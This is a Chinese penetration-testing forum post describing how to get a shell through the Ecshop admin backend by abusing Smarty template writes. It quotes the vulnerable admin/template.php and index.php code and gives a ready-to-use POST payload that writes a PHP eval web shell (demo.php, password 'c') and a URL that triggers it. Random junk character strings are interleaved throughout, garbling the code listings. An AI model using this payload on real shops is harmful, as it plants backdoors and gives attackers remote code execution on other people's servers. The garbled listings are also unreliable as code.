中国网络渗透测试联盟

标题: Ecshop后台getshell [打印本页]

作者: admin    时间: 2013-1-11 21:33
标题: Ecshop后台getshell
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
& I( p6 V0 ]/ o0 [% s& L& l* R/ _6 k( C+ Y6 D
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
+ m8 X. M. }' }4 G9 h/ e, f+ w但是ecshop似乎不支持{php}{/php}这个标签来执行php代码6 V2 M% ^4 D) S; K, e) S
admin/template.php4 s' ^; ?6 r2 z: Y$ x
8 i* _+ @1 _9 h. O% {8 ~; v
1 if ($_REQUEST['act'] == 'update_library') 5 ~! G7 w2 E1 _  X& n5 L# a
0 i) \' q$ X# G' r
2   
* x  ~, d: {( z( p* j1 z  H2 n% @- V: X5 o" v
3 { / H% `5 Z( I2 A# @% w
1 o( L- X2 g, R
4     check_authz_json('library_manage');
+ f7 Y( M* y! ~9 ~9 U
0 c8 o1 v" S7 ^# ^7 c+ _5   
9 Y0 g6 R4 J5 D+ [! f0 |1 i) _3 L; ~3 m
6     $html = stripslashes(json_str_iconv($_POST['html']));
3 T, S) p+ H7 L4 W. v3 v! q! T) }0 U
" ^7 ^+ b8 {. W0 N7   
; ^, H7 Y! S% f  R* h, m1 o3 v
! ]* Z, w+ w4 e: f1 C! x; f% r8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 ( v  C& P( W% |" {

5 I, _) L, v9 k/ d& f0 N9 Z0 K# M/ |; m9   
" ^, t% U6 Y1 }* y' j$ s- n+ S! G
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 & P" `& S: A, D6 x; l6 Y

! q' W" g* t1 O- n7 S" Z# I' x11   
+ y7 Q' f( T3 M) b0 p& W9 Z) z1 g8 x& R3 d
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); 9 y+ }# j$ I8 Y' V, A

0 K/ n. G, D5 J# [2 K13   
+ ]- P' x- w+ |& m9 t7 s) d* K! y; R
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 ! n) {) J, v' a* c/ k0 ~$ }
9 C: O# ~) G: G9 Z5 d, c4 p+ g" U
15     { ( R5 m: I" h5 X( N5 V- |

& b: q/ J9 p0 q& W' C16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); : l. e" [& A3 F; c
% l7 y9 o3 m- I( _9 ~+ H
17         make_json_result('', $_LANG['update_lib_success']);
# Z/ R! L7 D  L! R+ g1 O/ g
0 `  |" S* I7 G( e18     } 3 L, r' |  i! j; U. R4 w

7 b7 z8 m4 S, n$ r19     else
! W/ E# f: R, x3 [; c2 H
- t4 E" I/ E) ^  U4 p  d0 T20     {
( H/ G# E/ m& P  k; G) n
' Y$ W1 C) ?8 V  [) u* A- s9 E3 X% x: m% T, n21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
4 \  W6 i' N+ l. [, L# }. j; h; B. C* K) I) q
22     }
8 {6 m) l( _3 d, U( }4 B3 x, \- {) ?9 Z/ u
23 } . T. v! Y9 `) j' U

7 M4 P' p/ [6 l3 \) [! J4 _# J那么找个比较方便调用了模板的文件
+ `4 R8 O" z: R. F& v- M! eindex.php
  D  h. z: k7 l) }) L+ y8 s2 V1 x+ I
9 U% ]2 ?, Z- A" w4 T. K$ e+ i1 if ($act == 'cat_rec') ) M/ |7 X4 e) E
6 J* g1 e# A3 t# e& h$ Q# b8 T
2   & \+ H$ |: B* t8 {+ i, a' K$ D0 O2 U
; a0 Y; A5 G$ D$ ]& E
3 { / j3 z. }1 d4 z* T' j

  }) z" k: o& b  P' Y; E  k8 t4   
' k4 o$ J5 c. \/ w, }* u
" G' `9 j# Q8 I3 w5 f5 x5 N6 `- R2 |5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); " t$ I: ~8 c; H8 r

; C% ?$ N* g4 v9 W' H+ D3 \6   5 M2 U/ U2 o% p" d3 f' E& G
( i! o* P1 Z. `& _1 n% C  {6 p3 e
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
+ u8 \4 I  u9 Q1 O  a6 L
2 y, z6 s. t5 X% b8   , d  A0 _1 l; @; @
. H0 q2 r7 g- O2 N7 x" ~7 A/ A5 W* v6 n
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
2 @1 ~# a% q) r/ N( a2 }, M3 z8 m  f( s6 ~' J/ m! j5 ]" I
10   4 |' L* o. ^' Z! b( N
: V3 D9 l9 S7 v5 }, T& y! ]
11     include_once('includes/cls_json.php');
  L- ^4 k$ P9 c, p6 e6 A
+ `* l* F7 ^  x3 C+ x/ O12   : S" R) N. U# Y5 f

4 p, G1 N, e) O# p* [2 g( d! U& {* z13     $json = new JSON;   V# E- `* D* E* [2 P% P

! w! ~" K$ H# p+ H6 }/ |& `14   
, q1 N& e- T$ f# F2 l1 i. v, b& f- Z" v- q
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
/ F4 K+ _# w! v6 m7 `8 {3 N7 S5 K  `
5 {* C$ A$ l, U2 p# ]# S6 a2 w16   
5 O+ Z' A! J6 U& c6 `
" ^5 t- X0 L  _17     $children = get_children($cat_id);
( [8 [' D2 m% o7 S0 }* A4 e! N- e0 f$ U4 q  `
18   
/ w7 E( [' f" M. l2 f6 s% X
: C/ i  C% P, ^0 N19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
' w: Q0 ^- s5 P3 _, o* ?/ ~# C' P6 _) X- T# [
20   
5 ^5 I( i& B4 W" D  L, R' ?
. u' M8 Y6 k6 K. A# p21     $smarty->assign('cat_rec_sign', 1); + T! H  b5 i8 R+ j" S; T& u3 R( ?+ z
- r) g" m: o, }# U
22   ; `2 m, U! G' m7 H- R  B" H
5 \7 U% k1 T: H( J; m* _' W
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
& ^  W& V9 P: T  F# i; c% U  h: X+ b, k6 K3 @5 V9 r) v0 G4 r  G
24   
5 d4 E1 f( w! K: |' Z5 G
5 z4 S$ H8 \) T! T3 `25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; 5 |" y' B  C# r5 P% f. n0 p% \
- B( f  j) [& `2 E2 L
26   
: w) f6 ?9 y, f+ |4 V: h, K
( _! G: p) ^8 h2 Z. @: ?27         echo $rec_array[$rec_type]; % |. P; h3 t# W1 T
1 M! G; b9 A# I
28   
9 k+ ?* E& b9 ~/ o: S# J3 i8 O. I' r# g& b
29     die($json->encode($result)); 0 `/ q) B5 m' p8 W3 Q
, a8 {1 u, B8 `- c8 |' D. w
30   1 w  y2 ?1 z7 {% i
. S, t2 K) U5 e& y8 g! @- k7 n2 k
31 }
( P6 \1 n( `8 }
& M, C3 a* ?7 m那么就有利用方法了# w3 f+ y7 X: V* D+ o9 |
post包到http://localhost/ec/admin/template.php?act=update_library) s$ t, H  J: H6 \. }( B
Post内容:
* s8 U9 r) O8 V9 ^
* k% s* \; A  ^: ]7 ]5 ~
: Y# y' w! O9 q# v1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
: u+ V; e) L  R5 F% E- j9 b+ C2 G' B! q% q% z; n! N5 i+ C% H
然后访问http://localhost/ec/index.php?act=cat_rec  O# F# t. _/ J/ X
$ `1 `6 ?* c7 v9 B: d4 I$ \
shel地址:http://localhost/ec/demo.php8 t/ ~1 p4 E- }4 O. E& }5 S
密码c
6 u; R  Z( `5 L) I2 @$ V! G( X+ S" q
6 O, T# X: P$ z) J




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2